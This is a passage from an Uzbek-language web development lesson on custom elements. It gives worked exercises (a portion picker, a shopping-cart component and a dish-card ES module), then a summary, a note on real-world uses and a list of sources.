root.getElementById("minus")
.addEventListener("click", () => this.#change(-1));
root.getElementById("plus")
.addEventListener("click", () => this.#change(1));
}
#change(delta) {
const next = Math.min(10, Math.max(1, this.#count + delta));
if (next === this.#count) return;
this.#count = next;
this.shadowRoot.querySelector("output").textContent = next;
this.dispatchEvent(new CustomEvent("portion-change", {
bubbles: true,
composed: true,
detail: { count: next },
}));
}
}
customElements.define("portion-picker", PortionPicker);
document.addEventListener("portion-change", (event) => {
console.log(`Porsiya: ${event.detail.count}`);
});
</script>«+» ni ikki marta, «−» ni bir marta bossangiz, konsolda Porsiya: 2, Porsiya: 3, Porsiya: 2 chiqadi (biz bosib tekshirdik). Son 1 da turganda «−» bosilsa — hech narsa chiqmaydi: next === this.#count sharti behuda hodisani to'xtatadi. Bu yerda innerHTML xavfsiz — matn to'liq bizniki. Atribut aria-live="polite" tufayli Malika son o'zgarganini eshitadi.
3-mashq (qiyin): Savat komponenti
<bahor-cart> komponentini yozing. U o'z ichidagi <dish-card> lardan keladigan add-to-cart hodisasini tinglasin va pastida jami summani ko'rsatsin: Jami: 65 000 so'm. «Bahor» kartasining kodini o'zgartirmang — faqat ko'chirib oling.
Ishora: savat kartalarni slot orqali oladi (<slot></slot>), hodisani this da tinglaydi — u ichkaridan ko'tarilib keladi. Jami summani shadow ichidagi <p> ga yozing. Konsolga har qo'shishda jamini chiqaring.
Yechim
Faqat yangi qism (yuqoridagi template, formatPrice va DishCard klassi o'zgarishsiz, ulardan keyin qo'yiladi):
class BahorCart extends HTMLElement {
#total = 0;
constructor() {
super();
const root = this.attachShadow({ mode: "open" });
root.innerHTML = `<slot></slot><p class="total">Jami: 0 so'm</p>`;
this.addEventListener("add-to-cart", (event) => {
this.#total += event.detail.price;
const text = `Jami: ${formatPrice(this.#total)}`;
root.querySelector(".total").textContent = text;
console.log(text);
});
}
}
customElements.define("bahor-cart", BahorCart);HTML:
<bahor-cart>
<dish-card name="Osh" price="35000"></dish-card>
<dish-card name="Manti" price="30000"></dish-card>
</bahor-cart>Osh va Manti tugmalari bosilganda konsolda Jami: 35 000 so'm, keyin Jami: 65 000 so'm. Tinglovchi this ga konstruktorda qo'shildi: u elementning o'zida, tashqi obyektda emas — shuning uchun disconnectedCallback da tozalash shart emas. Hodisa karta (dish-card) dan chiqib, light DOM bo'ylab savatga ko'tariladi. Bu yerda composed ham shart emas edi, lekin karta boshqa komponentning shadow ichiga qo'yilsa, aynan u kerak bo'ladi.
4-mashq: Amaliy tajriba — <dish-card> modul bo'lib
kurs/mashqlar/13/25-dish-card/ papkasini yarating. Komponentni alohida ES modul faylga ajrating: dish-card.js (template, formatPrice, klass va define). index.html uni <script type="module" src="dish-card.js"> bilan ulasin va uchta karta ko'rsatsin. Live Server bilan oching.
Tekshiring: DevTools konsolida $0.price = 40000 (Elements'da kartani tanlab) — «Atributlar va xususiyatlar» bo'limidagi getter/setter'ni klassga qo'shgan bo'lsangiz, narx yangilanadi.
Yechim
dish-card.js — «To'liq komponent» bo'limidagi template, formatPrice va DishCard klassi, oxirida customElements.define(...), qo'shimcha ravishda price getter/setter. index.html:
<!doctype html>
<html lang="uz">
<head>
<meta charset="utf-8">
<title>«Bahor» menyusi</title>
<script type="module" src="dish-card.js"></script>
</head>
<body>
<dish-card name="Osh" price="35000">Guruch, sabzi.</dish-card>
<dish-card name="Manti" price="30000">Qovoqli.</dish-card>
<dish-card name="Lag'mon" price="28000" sold-out></dish-card>
</body>
</html>Modul skript defer kabi ishlaydi: HTML to'liq o'qilgandan keyin bajariladi. Shu paytgacha kartalar ro'yxatdan o'tmagan holatda turadi, keyin upgrade qilinadi. Faylni bitta qator bilan istalgan sahifaga ulash mumkin — komponentning asosiy kuchi shu.
git add 13/25-dish-card
git commit -m "13/25: dish-card komponenti alohida modulda"14. Real ishda
- Dizayn tizimlari. Material Web, Spectrum Web Components, Web Awesome komponentlari aynan shu API bilan yozilgan:
HTMLElementklassi, kuzatilgan atributlar,CustomEvent. Hujjatlarida "Attributes", "Properties", "Events", "Slots" bo'limlarini ko'rasiz — endi ular nimaligini bilasiz. - Forma vidjetlari. Sana tanlagich, reyting, rang tanlagich —
formAssociatedbilan oddiy<form>ichida ishlaydi. - Mikrofrontendlar. Katta kompaniyalarda turli jamoalar sahifaning turli qismini turli texnologiyada yozadi va custom element sifatida birlashtiradi.
- Intervyu. "Custom element'ning hayot sikli callback'larini ayting", "
attributeChangedCallbacknega chaqirilmayapti?", "Komponent tashqariga qanday xabar beradi?", "composednima?" — tez-tez so'raladi.
Xulosa
- Custom element —
HTMLElementdan meros olgan klass,customElements.define("nom-bilan-defis", Klass). - Konstruktor:
super()birinchi, elementning atribut va farzandlariga tegmaslik, Shadow DOM yaratish mumkin. - Hayot sikli:
constructor→ (attributeChangedCallback) →connectedCallback; olib tashlansa —disconnectedCallback. Ko'chirish — ikkalasi. observedAttributes— faqat shu atributlar kuzatiladi. Getter/setter bilan xususiyatni atributga "aks ettiring".- Komponent kiruvchi ma'lumotni atribut va xususiyatdan oladi, tashqariga
CustomEvent(bubbles,composed) bilan gapiradi. formAssociated+attachInternals()— element haqiqiy forma maydoniga aylanadi. Foydalanuvchi ma'lumoti — faqattextContent.
Keyingi dars: Shadow DOM va web komponentlarni stillash — :host, ::slotted(), ::part() va CSS o'zgaruvchilari: yopiq komponentni tashqaridan qanday qilib to'g'ri "bo'yash" mumkin.
Manbalar
- HTML Living Standard: "Custom elements" (hayot sikli,
ElementInternals,formAssociated) — html.spec.whatwg.org - MDN: "Using custom elements",
ElementInternals,Element.moveBefore()— developer.mozilla.org - web.dev: "Custom elements best practices", "More capable form controls" — web.dev
- web-features 3.40:
autonomous-custom-elements,form-associated-custom-elements,move-before,scoped-custom-element-registries— github.com/web-platform-dx/web-features
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!